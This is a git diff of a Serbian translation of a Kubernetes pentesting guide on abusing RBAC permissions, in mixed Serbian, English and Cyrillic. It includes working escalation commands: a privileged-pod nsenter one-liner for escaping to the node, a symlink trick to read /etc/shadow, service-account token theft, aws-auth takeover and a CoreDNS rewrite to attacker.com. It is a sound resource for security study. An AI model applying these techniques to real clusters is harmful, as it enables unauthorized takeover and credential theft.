diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index e5d3f13d0..2c37e2a89 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -1,23 +1,23 @@ -# Abusing Roles/ClusterRoles in Kubernetes +# Zloupotreba Roles/ClusterRoles u Kubernetes {{#include ../../../banners/hacktricks-training.md}} -Ovde možete pronaći neke potencijalno opasne konfiguracije Roles i ClusterRoles.\ +Ovde možete naći neke potencijalno opasne Roles i ClusterRoles konfiguracije.\ Zapamtite da možete dobiti sve podržane resurse sa `kubectl api-resources` ## **Privilege Escalation** -Ovo se odnosi na veštinu dobijanja **pristupa različitom principalu** unutar klastera **sa različitim privilegijama** (unutar kubernetes klastera ili na eksternim cloud-ovima) od onih koje već imate, u Kubernetes-u postoje osnovno **4 glavne tehnike za eskalaciju privilegija**: +Podrazumeva se kao umetnost dobijanja pristupa drugom principal-u unutar clustera sa drugačijim privilegijama (unutar kubernetes clustera ili prema eksternim cloud-ovima) nego one koje već imate, u Kubernetes-u postoje u suštini 4 glavne tehnike za eskalaciju privilegija: -- Mogućnost da **imituješ** druge korisnike/grupe/SAs sa boljim privilegijama unutar kubernetes klastera ili na eksternim cloud-ovima -- Mogućnost da **kreiraš/patch-uješ/izvršavaš podove** gde možeš **pronaći ili priključiti SAs** sa boljim privilegijama unutar kubernetes klastera ili na eksternim cloud-ovima -- Mogućnost da **čitaš tajne** jer su SAs tokeni pohranjeni kao tajne -- Mogućnost da **pobegneš na čvor** iz kontejnera, gde možeš ukrasti sve tajne kontejnera koji se izvršavaju na čvoru, kredencijale čvora i dozvole čvora unutar clouda u kojem se izvršava (ako ih ima) -- Peta tehnika koja zaslužuje pominjanje je sposobnost da **pokreneš port-forward** u podu, jer možeš imati pristup zanimljivim resursima unutar tog poda. +- Biti u mogućnosti da **impersonate** druge user/groups/SAs sa boljim privilegijama unutar kubernetes clustera ili prema eksternim cloud-ovima +- Biti u mogućnosti da **create/patch/exec pods** gde možete **find or attach SAs** sa boljim privilegijama unutar kubernetes clustera ili prema eksternim cloud-ovima +- Biti u mogućnosti da **read secrets** jer su SAs tokens smešteni kao secrets +- Biti u mogućnosti da **escape to the node** iz kontejnera, gde možete ukrasti sve secrets kontejnera koji rade na node-u, kredencijale node-a, i permisije node-a unutar clouda u kome se izvršava (ako ih ima) +- Peta tehnika koja zaslužuje pomen je sposobnost da **run port-forward** u pod-u, jer možete dobiti pristup interesantnim resursima unutar tog poda. -### Access Any Resource or Verb (Wildcard) +### Pristup bilo kojem resursu ili verbu (Wildcard) -**wildcard (\*) daje dozvolu za bilo koji resurs sa bilo kojim glagolom**. Koriste ga administratori. Unutar ClusterRole to znači da bi napadač mogao da zloupotrebi bilo koji namespace u klasteru +The **wildcard (\*) gives permission over any resource with any verb**. It's used by admins. Inside a ClusterRole this means that an attacker could abuse bilo koji namespace u klasteru ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -29,13 +29,13 @@ rules: resources: ["*"] verbs: ["*"] ``` -### Pristup bilo kojem resursu sa specifičnom glagolskom radnjom +### Pristup bilo kojem resursu sa određenim verbom -U RBAC-u, određene dozvole predstavljaju značajne rizike: +U RBAC-u, određena dopuštenja predstavljaju značajne rizike: -1. **`create`:** Daje mogućnost kreiranja bilo kojeg klasterskog resursa, što može dovesti do eskalacije privilegija. -2. **`list`:** Omogućava listanje svih resursa, potencijalno otkrivajući osetljive podatke. -3. **`get`:** Dozvoljava pristup tajnama iz servisnih naloga, što predstavlja bezbednosnu pretnju. +1. **`create`:** Omogućava kreiranje bilo kojeg resursa u klasteru, što može dovesti do privilege escalation. +2. **`list`:** Dozvoljava listanje svih resursa, što može potencijalno leaking sensitive data. +3. **`get`:** Dozvoljava pristup secrets iz service accounts, što predstavlja bezbednosnu pretnju. ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -49,9 +49,9 @@ verbs: ["create", "list", "get"] ``` ### Pod Create - Steal Token -Napadač sa dozvolama za kreiranje poda može da prikači privilegovani Service Account u pod i ukrade token kako bi se pretvarao da je taj Service Account. Efektivno povećavajući privilegije. +Napadač koji ima dozvole za kreiranje pod-a može dodeliti privilegovani Service Account podu i ukrasti token kako bi se predstavljao kao taj Service Account, čime efektivno eskalira privilegije. -Primer poda koji će ukrasti token `bootstrap-signer` service account-a i poslati ga napadaču: +Primer poda koji će ukrasti token Service Account-a `bootstrap-signer` i poslati ga napadaču: ```yaml apiVersion: v1 kind: Pod @@ -74,12 +74,10 @@ hostNetwork: true ``` ### Pod Create & Escape -Sledeće ukazuje na sve privilegije koje kontejner može imati: - -- **Privilegovan pristup** (onemogućavanje zaštita i postavljanje sposobnosti) -- **Onemogućavanje namespaces hostIPC i hostPid** koji mogu pomoći u eskalaciji privilegija -- **Onemogućavanje hostNetwork** namespace-a, dajući pristup za krađu privilegija čvora u oblaku i bolji pristup mrežama -- **Montiranje hostova / unutar kontejnera** +- **Privileged access** (onemogućavanje zaštita i podešavanje capabilities) +- **Disable namespaces hostIPC and hostPid** koje mogu pomoći u eskalaciji privilegija +- **Disable hostNetwork** namespace, što može omogućiti krađu cloud privilegija čvorova (nodes) i bolji pristup mrežama +- **Mount hosts / inside the container** ```yaml:super_privs.yaml apiVersion: v1 kind: Pod @@ -115,19 +113,19 @@ volumes: hostPath: path: / ``` -Kreirajte pod sa: +Kreirajte pod pomoću: ```bash kubectl --token $token create -f mount_root.yaml ``` -Jednolinijska komanda iz [ovog tvita](https://twitter.com/mauilion/status/1129468485480751104) i sa nekim dodacima: +Jednolinijski iz [this tweet](https://twitter.com/mauilion/status/1129468485480751104) i sa nekim dodacima: ```bash kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}' ``` -Sada kada možete da pobegnete na čvor, proverite tehnike post-ekspolatacije u: +Sada kada možeš da escape-uješ na node, proveri post-exploitation tehnike u: #### Stealth -Verovatno želite da budete **diskretniji**, na sledećim stranicama možete videti šta biste mogli da pristupite ako kreirate pod omogućavajući samo neka od pomenutih privilegija u prethodnom šablonu: +Verovatno želiš da budeš **diskretniji**; na narednim stranicama možeš videti šta bi mogao da pristupiš ako kreiraš pod uključujući samo neke od dole pomenutih privilegija iz prethodnog šablona: - **Privileged + hostPID** - **Privileged only** @@ -136,14 +134,14 @@ Verovatno želite da budete **diskretniji**, na sledećim stranicama možete vid - **hostNetwork** - **hostIPC** -_Možete pronaći primer kako da kreirate/iskoristite prethodne privilegovane konfiguracije podova u_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) +_You can find example of how to create/abuse the previous privileged pods configurations in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) -### Pod Create - Move to cloud +### Kreiranje pod-a - prelazak u cloud -Ako možete da **kreirate** **pod** (i opcionalno **service account**) možda ćete moći da **dobijete privilegije u cloud okruženju** dodeljujući **cloud role podu ili service account-u** i zatim mu pristupajući.\ -Štaviše, ako možete da kreirate **pod sa host network namespace** možete **ukrasti IAM** ulogu **node** instance. +Ako možeš da **kreiraš** a **pod** (i opciono a **service account**) možda ćeš moći da **dobiješ privilegije u cloud okruženju** dodeljivanjem **cloud roles** podu ili **service account**-u i potom mu pristupiš.\ +Pored toga, ako možeš da kreiraš **pod with the host network namespace** možeš da **steal the IAM** role instanci **node**. -Za više informacija proverite: +For more information check: {{#ref}} pod-escape-privileges.md @@ -151,9 +149,9 @@ pod-escape-privileges.md ### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs** -Moguće je iskoristiti ove dozvole da **kreirate novi pod** i uspostavite privilegije kao u prethodnom primeru. +Moguće je zloupotrebiti ove dozvole da **kreiraš novi pod** i uspostaviš privilegije kao u prethodnom primeru. -Sledeći yaml **kreira daemonset i eksfiltrira token SA** unutar poda: +Sledeći yaml **creates a daemonset and exfiltrates the token of the SA** unutar pod-a: ```yaml apiVersion: apps/v1 kind: DaemonSet @@ -191,30 +189,30 @@ path: / ``` ### **Pods Exec** -**`pods/exec`** je resurs u kubernetes-u koji se koristi za **izvršavanje komandi u shell-u unutar poda**. Ovo omogućava **izvršavanje komandi unutar kontejnera ili dobijanje shell-a unutar**. +**`pods/exec`** je resurs u kubernetes koji se koristi za **pokretanje komandi u shell-u unutar poda**. Ovo omogućava da se **pokreću komande unutar containers ili da se dobije shell iznutra**. -Stoga, moguće je **ući u pod i ukrasti token SA**, ili ući u privilegovani pod, pobjeći na čvor i ukrasti sve tokene podova na čvoru i (zlo)upotrebiti čvor: +Stoga je moguće **ući u pod i ukrasti token SA**, ili ući u privilegiovani pod, pobeći na node, i ukrasti sve tokene podova na node-u i (ab)use the node: ```bash kubectl exec -it -n -- sh ``` > [!NOTE] -> Po defaultu, komanda se izvršava u prvom kontejneru poda. Dobijte **sve podove u kontejneru** sa `kubectl get pods -o jsonpath='{.spec.containers[*].name}'` i zatim **naznačite kontejner** u kojem želite da ga izvršite sa `kubectl exec -it -c -- sh` +> Podrazumevano se komanda izvršava u prvom container-u poda. Dobavite **sve kontejnere u podu** sa `kubectl get pods -o jsonpath='{.spec.containers[*].name}'` i zatim **odredite container** u kojem želite da je izvršite pomoću `kubectl exec -it -c -- sh` -Ako je u pitanju distroless kontejner, možete pokušati da koristite **shell builtins** da dobijete informacije o kontejnerima ili da otpremite svoje alate poput **busybox** koristeći: **`kubectl cp :`**. +Ako je to distroless container, možete pokušati da koristite **shell builtins** da dobijete informacije o container-ima ili da otpremite sopstvene alate kao što je **busybox** koristeći: **`kubectl cp :`**. ### port-forward -Ova dozvola omogućava **prosleđivanje jednog lokalnog porta na jedan port u specificiranom podu**. Ovo je namenjeno da se olakša debagovanje aplikacija koje se izvršavaju unutar poda, ali napadač bi to mogao zloupotrebiti da dobije pristup zanimljivim (kao što su DB-ovi) ili ranjivim aplikacijama (web?) unutar poda: +Ovo dopuštenje omogućava da **proslijedite jedan lokalni port na jedan port u specificiranom podu**. Ovo je namenjeno da olakša debug aplikacija koje rade unutar poda, ali napadač to može zloupotrebiti da bi pristupio interesantnim (npr. DBs) ili ranjivim aplikacijama (npr. web serverima?) unutar poda: ```bash kubectl port-forward pod/mypod 5000:5000 ``` ### Hosts Writable /var/log/ Escape -As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), if you can access or create a pod with the **hosts `/var/log/` directory mounted** on it, you can **escape from the container**.\ -This is basically because the when the **Kube-API tries to get the logs** of a container (using `kubectl logs `), it **requests the `0.log`** file of the pod using the `/logs/` endpoint of the **Kubelet** service.\ -The Kubelet service exposes the `/logs/` endpoint which is just basically **exposing the `/var/log` filesystem of the container**. +As [**naznačeno u ovom istraživanju**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), if you can access or create a pod with the **hosts `/var/log/` directory mounted** on it, you can **escape from the container**.\ +Ovo je углавном зато што када **Kube-API pokuša da preuzme logove** kontejnera (koristeći `kubectl logs `), он **zahteva `0.log`** fajl poda преко `/logs/` endpoint-a **Kubelet** servisa.\ +Kubelet servis izlaže `/logs/` endpoint који у суштини **izlaže `/var/log` datotečni sistem kontejnera**. -Therefore, an attacker with **access to write in the /var/log/ folder** of the container could abuse this behaviours in 2 ways: +Stoga, napadač sa **pristupom za upis u /var/log/ direktorijum** kontejnera може злоупотребити ова понашања на 2 начина: - Modifying the `0.log` file of its container (usually located in `/var/logs/pods/namespace_pod_uid/container/0.log`) to be a **symlink pointing to `/etc/shadow`** for example. Then, you will be able to exfiltrate hosts shadow file doing: ```bash @@ -224,7 +222,7 @@ kubectl logs escaper --tail=2 failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n" # Keep incrementing tail to exfiltrate the whole file ``` -- Ako napadač kontroliše bilo koji princip sa **dozvolama za čitanje `nodes/log`**, može jednostavno da kreira **symlink** u `/host-mounted/var/log/sym` ka `/` i kada **pristupi `https://:10250/logs/sym/` prikazaće korenski** fajl sistem hosta (promena symlinka može omogućiti pristup fajlovima). +- Ako napadač kontroliše bilo koji principal sa **dozvolama za čitanje `nodes/log`**, može jednostavno napraviti **symlink** u `/host-mounted/var/log/sym` koji pokazuje na `/`, i kada **pristupi `https://:10250/logs/sym/` biće mu prikazan root filesystem hosta** (promenom symlinka može se dobiti pristup fajlovima). ```bash curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/' bin @@ -236,23 +234,23 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https:// lib [...] ``` -**Laboratorija i automatizovani exploit mogu se naći na** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) +**Laboratorija i automatizovani exploit se mogu naći u** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) -#### Obilaženje readOnly zaštite +#### Zaobilaženje readOnly zaštite -Ako imate sreće i visoko privilegisana sposobnost `CAP_SYS_ADMIN` je dostupna, možete jednostavno ponovo montirati folder kao rw: +Ako imate sreće i visoko privilegovana kapabilnost `CAP_SYS_ADMIN` je dostupna, možete jednostavno ponovo montirati folder kao rw: ```bash mount -o rw,remount /hostlogs/ ``` -#### Bypassing hostPath readOnly protection +#### Zaobilaženje hostPath readOnly zaštite -Kao što je navedeno u [**ovoj studiji**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), moguće je zaobići zaštitu: +Kao što je navedeno u [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) moguće je zaobići zaštitu: ```yaml allowedHostPaths: - pathPrefix: "/foo" readOnly: true ``` -Koji je bio zamišljen da spreči eskape poput prethodnih, tako što će umesto korišćenja hostPath montaže, koristiti PersistentVolume i PersistentVolumeClaim za montiranje foldera domaćina u kontejner sa pristupom za pisanje: +To je trebalo da spreči escapes poput prethodnih tako što bi, umesto korišćenja hostPath mount-a, koristio PersistentVolume i PersistentVolumeClaim da montira hosts folder u kontejner sa pristupom za pisanje: ```yaml apiVersion: v1 kind: PersistentVolume @@ -298,11 +296,11 @@ volumeMounts: - mountPath: "/hostlogs" name: task-pv-storage-vol ``` -### **Imitiranje privilegovanih naloga** +### **Impersonacija privilegovanih naloga** -Sa [**privilegijom imitacije korisnika**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), napadač može imitirati privilegovan nalog. +Sa privilegijom [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), napadač može da se predstavi kao privilegovani nalog. -Jednostavno koristite parametar `--as=` u `kubectl` komandi da biste imitirali korisnika, ili `--as-group=` da biste imitirali grupu: +Samo koristite parametar `--as=` u `kubectl` komandi da se predstavite kao korisnik, ili `--as-group=` da se predstavite kao grupa: ```bash kubectl get pods --as=system:serviceaccount:kube-system:default kubectl get secrets --as=null --as-group=system:masters @@ -315,15 +313,16 @@ curl -k -v -XGET -H "Authorization: Bearer " \ -H "Accept: application/json" \ https://:/api/v1/namespaces/kube-system/secrets/ ``` -### Listing Secrets +### Nabrajanje secrets -Dozvola da **prikazuje tajne može omogućiti napadaču da zapravo pročita tajne** pristupajući REST API kraju: +Dozvola za **list secrets može omogućiti napadaču da zapravo pročita secrets** pristupajući REST API endpoint: ```bash curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/kube-system/secrets/ ``` -### Kreiranje i Čitanje Tajni +### Kreiranje i čitanje Secrets -Postoji posebna vrsta Kubernetes tajne tipa **kubernetes.io/service-account-token** koja čuva tokene servisnog naloga. Ako imate dozvole za kreiranje i čitanje tajni, i takođe znate ime servisnog naloga, možete kreirati tajnu na sledeći način i zatim ukrasti token servisnog naloga žrtve iz nje: +Postoji posebna vrsta Kubernetes secret-a tipa **kubernetes.io/service-account-token** koja čuva serviceaccount tokens. +Ako imate dozvole za kreiranje i čitanje secret-ova, i ako takođe znate ime serviceaccount-a, možete kreirati secret na sledeći način i zatim ukrasti token ciljanog serviceaccount-a iz njega: ```yaml apiVersion: v1 kind: Secret @@ -334,7 +333,7 @@ annotations: kubernetes.io/service-account.name: cluster-admin-sa type: kubernetes.io/service-account-token ``` -Primer iskorišćavanja: +Primer exploitation: ```bash $ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa) @@ -382,17 +381,17 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso "type": "kubernetes.io/service-account-token" } ``` -Napomena da, ako vam je dozvoljeno da kreirate i čitate tajne u određenom namespace-u, žrtvinska serviceaccount takođe mora biti u tom istom namespace-u. +Imajte na umu da, ako vam je dozvoljeno da kreirate i čitate secrets u određenom namespace-u, žrtvin serviceaccount takođe mora biti u tom istom namespace-u. -### Čitanje tajne – brute-forcing token ID-ova +### Čitanje secret-a – brute-forcing token ID-ova -Dok napadač u posedu tokena sa pravima čitanja zahteva tačno ime tajne da bi je koristio, za razliku od šireg _**listing secrets**_ privilegije, i dalje postoje ranjivosti. Podrazumevani service accounts u sistemu mogu se enumerisati, svaki povezan sa tajnom. Ove tajne imaju strukturu imena: statički prefiks praćen nasumičnim alfanumeričkim tokenom od pet karaktera (izuzimajući određene karaktere) prema [izvornom kodu](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). +Iako napadaču koji poseduje token sa read permisijama treba tačno ime secreta da bi ga iskoristio, za razliku od šire privilegije _**listing secrets**_, i dalje postoje ranjivosti. Default service accounts u sistemu se mogu enumerisati, svaki je povezan sa jednim secret-om. Ovi secret-i imaju strukturu imena: statični prefiks nakon kojeg sledi nasumični peto-karakterni alfanumerički token (izuzimajući određene karaktere) prema [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). -Token se generiše iz ograničenog skupa od 27 karaktera (`bcdfghjklmnpqrstvwxz2456789`), umesto iz celog alfanumeričkog opsega. Ova ograničenja smanjuju ukupan broj mogućih kombinacija na 14,348,907 (27^5). Kao rezultat, napadač bi mogao izvesti brute-force napad kako bi dedukovao token u roku od nekoliko sati, što potencijalno može dovesti do eskalacije privilegija pristupom osetljivim service accounts. +Token se generiše iz ograničenog skupa od 27 karaktera (`bcdfghjklmnpqrstvwxz2456789`), umesto iz punog alfanumeričkog opsega. Ova ograničenost smanjuje ukupan broj mogućih kombinacija na 14.348.907 (27^5). Posledično, napadač bi mogao izvesti brute-force napad i za nekoliko sati pogoditi token, što može dovesti do eskalacije privilegija pristupom osetljivim service account-ima. ### EncrpytionConfiguration u čistom tekstu -Moguće je pronaći ključeve u čistom tekstu za enkripciju podataka u mirovanju u ovoj vrsti objekta kao: +Moguće je pronaći ključeve u čistom tekstu koji se koriste za enkripciju podataka u mirovanju u ovakvim objektima, npr.: ```yaml # From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/ @@ -449,13 +448,13 @@ keys: - name: key3 secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw== ``` -### Certificate Signing Requests +### Zahtevi za potpisivanje sertifikata -Ako imate glagole **`create`** u resursu `certificatesigningrequests` (ili barem u `certificatesigningrequests/nodeClient`). Možete **create** novi CeSR novog **noda.** +Ako imate verb **`create`** na resursu `certificatesigningrequests` (ili bar na `certificatesigningrequests/nodeClient`), možete **kreirati** novi CeSR za **novi čvor**. -Prema [dokumentaciji, moguće je automatski odobriti ove zahteve](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), tako da u tom slučaju **ne trebaju vam dodatne dozvole**. Ako ne, morali biste biti u mogućnosti da odobrite zahtev, što znači ažuriranje u `certificatesigningrequests/approval` i `approve` u `signers` sa resourceName `/` ili `/*` +Prema [dokumentaciji moguće je automatski odobriti ove zahteve](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), tako da vam u tom slučaju **ne trebaju dodatne dozvole**. Ako to nije omogućeno, moraćete biti u mogućnosti da odobrite zahtev, što podrazumeva update u `certificatesigningrequests/approval` i `approve` u `signers` sa resourceName `/` ili `/*` -**Primer uloge** sa svim potrebnim dozvolama je: +Primer **role** sa svim potrebnim dozvolama je: ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -486,19 +485,19 @@ resourceNames: verbs: - approve ``` -Dakle, sa odobrenim novim node CSR-om, možete **iskoristiti** posebne dozvole nodova da **ukradete tajne** i **povećate privilegije**. +Dakle, kada je nova node CSR odobrena, možete **zloupotrebiti** specijalne dozvole node-ova da **ukradete tajne** i **eskalirate privilegije**. -U [**ovom postu**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) i [**ovom**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) GKE K8s TLS Bootstrap konfiguracija je podešena sa **automatskim potpisivanjem** i koristi se za generisanje kredencijala novog K8s nod-a, a zatim se ti kredencijali koriste za povećanje privilegija ukradanjem tajni.\ -Ako **imate pomenute privilegije, mogli biste uraditi istu stvar**. Imajte na umu da prvi primer zaobilazi grešku koja sprečava novi nod da pristupi tajnama unutar kontejnera jer **nod može pristupiti samo tajnama kontejnera koji su montirani na njemu.** +In [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) and [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) the GKE K8s TLS Bootstrap configuration is configured with **automatic signing** and it's abused to generate credentials of a new K8s Node and then abuse those to escalate privileges by stealing secrets.\ +Ako **imate pomenute privilegije, možete uraditi isto**. Napomena: prvi primer zaobilazi grešku koja sprečava novom node-u da pristupi tajnama unutar containera jer **node može pristupiti samo tajnama containera koji su montirani na njega.** -Način da se to zaobiđe je jednostavno **napraviti kredencijale nod-a za ime nod-a gde je kontejner sa zanimljivim tajnama montiran** (ali samo proverite kako to uraditi u prvom postu): +Način da se ovo zaobiđe je da se jednostavno **kreiraju kredencijale čvora za node ime na kojem je montiran container sa interesantnim tajnama** (ali pogledajte kako to uraditi u prvom postu): ```bash "/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1" ``` ### AWS EKS aws-auth configmaps -Principals koji mogu da modifikuju **`configmaps`** u kube-system imenskom prostoru na EKS (moraju biti u AWS) klasterima mogu dobiti privilegije klaster admina prepisivanjem **aws-auth** configmap-a.\ -Potrebni glagoli su **`update`** i **`patch`**, ili **`create`** ako configmap nije kreiran: +Identiteti koji mogu da modifikuju **`configmaps`** u kube-system namespace-u na EKS (moraju biti u AWS) klasterima mogu da dobiju privilegije cluster admina prepisivanjem **aws-auth** configmap-a.\ +Potrebne operacije su **`update`** i **`patch`**, ili **`create`** ako configmap nije kreiran: ```bash # Check if config map exists get configmap aws-auth -n kube-system -o yaml @@ -538,18 +537,18 @@ groups: - system:masters ``` > [!WARNING] -> Možete koristiti **`aws-auth`** za **persistence** davanje pristupa korisnicima iz **drugih naloga**. +> Možete koristiti **`aws-auth`** za **persistence** dajući pristup korisnicima iz **drugih naloga**. > -> Međutim, `aws --profile other_account eks update-kubeconfig --name ` **ne radi iz drugog naloga**. Ali zapravo `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` radi ako stavite ARN klastera umesto samo imena.\ -> Da bi `kubectl` radio, samo se pobrinite da **konfigurišete** **kubeconfig žrtve** i u aws exec argumentima dodajte `--profile other_account_role` tako da kubectl koristi profil drugog naloga za dobijanje tokena i kontaktiranje AWS-a. +> Međutim, `aws --profile other_account eks update-kubeconfig --name ` **ne radi iz drugog naloga**. Ali zapravo `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` radi ako umesto imena stavite ARN klastera.\ +> Da bi `kubectl` radio, samo se pobrinite da **konfigurišete** **victims kubeconfig** i u aws exec args dodate `--profile other_account_role` tako da kubectl koristi profil drugog naloga da dobije token i kontaktira AWS. ### CoreDNS config map -Ako imate dozvole da modifikujete **`coredns` configmap** u `kube-system` namespace-u, možete modifikovati adrese na koje će se domeni rešavati kako biste mogli da izvršite MitM napade za **krađu osetljivih informacija ili injektovanje malicioznog sadržaja**. +Ako imate dozvole da izmenite **`coredns` configmap** u `kube-system` namespace-u, možete izmeniti adresu na koju će domeni biti rešavani kako biste mogli izvršiti MitM napade radi **krađe osetljivih informacija ili ubrizgavanja malicioznog sadržaja**. -Glagoli koji su potrebni su **`update`** i **`patch`** nad **`coredns`** configmap-om (ili svim config mapama). +Potrebni verbi su **`update`** i **`patch`** nad **`coredns`** configmap-om (ili svim config maps). -Običan **coredns fajl** sadrži nešto poput ovoga: +Uobičajeni **coredns file** sadrži nešto ovako: ```yaml data: Corefile: | @@ -579,58 +578,75 @@ reload loadbalance } ``` -Napadač može preuzeti to pokretanjem `kubectl get configmap coredns -n kube-system -o yaml`, izmeniti ga dodajući nešto poput `rewrite name victim.com attacker.com`, tako da kada se pristupi `victim.com`, zapravo se pristupa `attacker.com`. Zatim se može primeniti pokretanjem `kubectl apply -f poison_dns.yaml`. +Napadač može da ga preuzme pokretanjem `kubectl get configmap coredns -n kube-system -o yaml`, izmeni ga dodavanjem nečega poput `rewrite name victim.com attacker.com` tako da kad god se pristupi `victim.com` zapravo će biti pristupljeno domenu `attacker.com`. Zatim ga primeni pokretanjem `kubectl apply -f poison_dns.yaml`. -Druga opcija je jednostavno izmeniti datoteku pokretanjem `kubectl edit configmap coredns -n kube-system` i napraviti izmene. +Druga opcija je jednostavno izmeniti fajl pokretanjem `kubectl edit configmap coredns -n kube-system` i napraviti izmene. ### Eskalacija u GKE -Postoje **2 načina za dodeljivanje K8s dozvola GCP principalima**. U svakom slučaju, principal takođe treba dozvolu **`container.clusters.get`** da bi mogao da prikupi akreditive za pristup klasteru, ili ćete morati da **generišete svoj kubectl config fajl** (pratite sledeći link). +Postoje **2 načina da se dodelе K8s dozvole GCP principalima**. U svakom slučaju principal takođe treba dozvolu **`container.clusters.get`** da bi mogao da prikupi kredencijale za pristup klasteru, ili ćeš morati da **generišeš sopstveni kubectl config fajl** (prati sledeći link). > [!WARNING] -> Kada se komunicira sa K8s API krajnjom tačkom, **GCP auth token će biti poslat**. Tada će GCP, preko K8s API krajnje tačke, prvo **proveriti da li principal** (prema emailu) **ima bilo kakav pristup unutar klastera**, zatim će proveriti da li ima **bilo kakav pristup putem GCP IAM**.\ -> Ako je **bilo koja** od ovih **tačna**, biće mu **odgovoreno**. Ako **nije**, biće data **greška** koja sugeriše da se **dozvole dodele putem GCP IAM**. +> Kada se razgovara sa K8s api endpoint-om, biće poslat **GCP auth token**. Zatim, GCP, preko K8s api endpoint-a, prvo **proveri da li principal** (po email-u) **ima bilo kakav pristup unutar klastera**, potom će proveriti da li ima **bilo kakav pristup preko GCP IAM**.\ +> Ako je **bilo koji** od tih **istinito**, biće mu **odgovoreno**. Ako **nije**, biće vraćena **greška** koja sugeriše da se dodele **dozvole preko GCP IAM**. -Prva metoda je korišćenje **GCP IAM**, K8s dozvole imaju svoje **ekvivalentne GCP IAM dozvole**, i ako principal to ima, moći će da ih koristi. +Dakle, prvi metod je korišćenje **GCP IAM**, K8s dozvole imaju svoje **ekvivalentne GCP IAM dozvole**, i ako principal ima te dozvole, moći će da ih koristi. {{#ref}} ../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md {{#endref}} -Druga metoda je **dodeljivanje K8s dozvola unutar klastera** identifikovanjem korisnika prema njegovom **emailu** (uključujući GCP servisne naloge). +Drugi metod je **dodeljivanje K8s dozvola unutar klastera** identifikujući korisnika po njegovom **email-u** (uključujući GCP service accounts). -### Kreiranje tokena za servisne naloge +### Kreiranje tokena za serviceaccounts -Principali koji mogu **kreirati TokenRequests** (`serviceaccounts/token`) kada komuniciraju sa K8s API krajnjom tačkom SAs (informacije iz [**ovde**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). +Principali koji mogu da **create TokenRequests** (`serviceaccounts/token`) — kada razgovaraju sa K8s api endpoint-om, mogu da dobiju token-e service account-a (info from [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). ### ephemeralcontainers -Principali koji mogu **`update`** ili **`patch`** **`pods/ephemeralcontainers`** mogu dobiti **izvršavanje koda na drugim podovima**, i potencijalno **izbeći** na njihov čvor dodavanjem ephemeral kontejnera sa privilegovanim securityContext. +Principali koji mogu da **`update`** ili **`patch`** **`pods/ephemeralcontainers`** mogu steći **izvršavanje koda na drugim pod-ovima**, i potencijalno **break out** na njihov node dodavanjem ephemeral container-a sa privileged securityContext-om -### ValidatingWebhookConfigurations ili MutatingWebhookConfigurations +### ValidatingWebhookConfigurations or MutatingWebhookConfigurations -Principali sa bilo kojim od glagola `create`, `update` ili `patch` nad `validatingwebhookconfigurations` ili `mutatingwebhookconfigurations` mogli bi biti u mogućnosti da **kreiraju jednu od takvih webhookconfigurations** kako bi mogli da **escaliraju privilegije**. +Principali sa bilo kojim od glagola `create`, `update` ili `patch` nad `validatingwebhookconfigurations` ili `mutatingwebhookconfigurations` mogu biti u mogućnosti da kreiraju jednu od takvih webhook konfiguracija 